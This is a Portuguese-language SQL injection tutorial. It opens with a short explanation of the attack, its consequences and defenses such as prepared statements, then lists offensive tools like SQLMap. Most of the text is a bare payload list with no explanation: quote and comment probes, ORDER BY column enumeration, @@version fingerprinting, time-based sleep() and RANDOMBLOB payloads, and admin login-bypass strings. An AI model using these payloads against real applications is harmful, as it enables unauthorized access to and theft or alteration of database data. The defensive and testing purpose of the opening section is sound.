Neste documento, você aprenderá o que é SQL Injection, como ele funciona, as potenciais consequências e, o mais importante, como se proteger contra esse tipo de ataque.
SQL Injection é uma forma de ataque cibernético que visa explorar falhas de segurança em aplicações web que interagem com bancos de dados usando SQL (Structured Query Language). Essa técnica permite que um invasor execute comandos SQL maliciosos por meio de entradas não sanitizadas em formulários, parâmetros de URL ou outras interfaces de entrada de dados.
Normalmente, as aplicações web usam consultas SQL para interagir com bancos de dados e recuperar informações. Um ataque de SQL Injection ocorre quando um invasor insere deliberadamente instruções SQL maliciosas em campos de entrada. Essas instruções são então executadas no banco de dados, permitindo que o atacante acesse, modifique ou exclua dados.
Exemplo de uma consulta SQL simples:
SELECT nome, email FROM usuarios WHERE id = '$id';
Exemplo de ataque de SQL Injection:
Suponha que o campo de entrada seja:
$id = '1' OR '1' = '1'
A consulta modificada se tornaria:
SELECT nome, email FROM usuarios WHERE id = '1' OR '1' = '1';
Isso retornaria todos os registros da tabela usuarios, pois a condição '1' = '1' é sempre verdadeira.
Os ataques de SQL Injection podem ter várias consequências prejudiciais:
- Acesso não autorizado: Um invasor pode obter acesso a informações confidenciais, como senhas, dados financeiros e informações pessoais dos usuários.
- Modificação de dados: Um atacante pode alterar, adicionar ou excluir dados no banco de dados, causando danos irreparáveis aos sistemas e à integridade dos dados.
- Execução de comandos arbitrários: Os atacantes podem executar comandos SQL arbitrários, o que pode levar a ações maliciosas no sistema, como criação de contas de usuário falsas ou desativação do sistema.
Aqui estão algumas práticas recomendadas para prevenir ataques de SQL Injection:
- Validação e sanitização de entrada: Sempre valide e sanitize as entradas do usuário antes de usar em consultas SQL.
- Usar Prepared Statements: Use Prepared Statements (também chamados de parameterized queries) que parametrizam as consultas SQL, separando os dados dos comandos SQL.
- Utilizar ORM: Se possível, utilize ORM (Object-Relational Mapping) que trata automaticamente a geração de consultas SQL.
- Princípio do Menor Privilégio: Certifique-se de que as permissões do banco de dados sejam as mínimas necessárias para as operações.
- Atualizações e patches: Mantenha seus sistemas atualizados com as últimas correções de segurança.
-
SQLMap – Automatização de Injeção de SQL e Ferramenta de Extração de Dados de Bancos de Dados
-
NoSQLMap – Automação de Ataques a Bancos de Dados NoSQL
-
Whitewidow – Scanner de Vulnerabilidades de SQL
-
DSSS – Scanner para Identificação de Vulnerabilidades de Injeção de SQL
-
explo – Formato de Teste de Vulnerabilidade para Web Legível por Humanos e Máquinas
-
Blisqy – Exploração de Injeção de SQL Baseada em Tempo, Focada em Cabeçalhos HTTP (MySQL/MariaDB)
'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or #
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
OR 1=1
' OR 'x'='x
' AND id IS NULL; --
1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
Comentarios:
#
/*
-- -
;%00
`
OR 1=1
OR x=x
OR x=y
OR 1=1#
OR x=x#
OR x=y#
OR 1=1--
OR x=x--
OR x=y--
AND 1=1
AND 1=0
AND 1=1--
AND 1=0--
AND 1=1#
AND 1=0#
AND 1=1 AND '%'='
AND 1=0 AND '%'='
WHERE 1=1 AND 1=1
WHERE 1=1 AND 1=0
WHERE 1=1 AND 1=1#
WHERE 1=1 AND 1=0#
WHERE 1=1 AND 1=1--
WHERE 1=1 AND 1=0--
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
ORDER BY 4--
ORDER BY 5--
ORDER BY 6--
ORDER BY 7--
ORDER BY 31337--
ORDER BY 1#
ORDER BY 2#
ORDER BY 3#
ORDER BY 4#
ORDER BY 5#
ORDER BY 6#
ORDER BY 7#
ORDER BY 31337#
ORDER BY 1
ORDER BY 2
ORDER BY 3
ORDER BY 4
ORDER BY 5
ORDER BY 6
ORDER BY 7
ORDER BY 31337
and (select substring(@@version,1,1))='X'
and (select substring(@@version,1,1))='M'
and (select substring(@@version,2,1))='i'
and (select substring(@@version,2,1))='y'
and (select substring(@@version,3,1))='c'
and (select substring(@@version,3,1))='S'
and (select substring(@@version,3,1))='X'
%' AND 8310=8310 AND '%'='
%' AND 8310=8311 AND '%'='
sleep(5)#
1 or sleep(5)#
" or sleep(5)#
' or sleep(5)#
" or sleep(5)="
' or sleep(5)='
1) or sleep(5)#
") or sleep(5)="
') or sleep(5)='
1)) or sleep(5)#
")) or sleep(5)="
')) or sleep(5)='
SLEEP(5)#
SLEEP(5)--
SLEEP(5)="
SLEEP(5)='
or SLEEP(5)
or SLEEP(5)#
or SLEEP(5)--
or SLEEP(5)="
or SLEEP(5)='
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
RANDOMBLOB(500000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
RANDOMBLOB(1000000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
admin' or 1=1
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*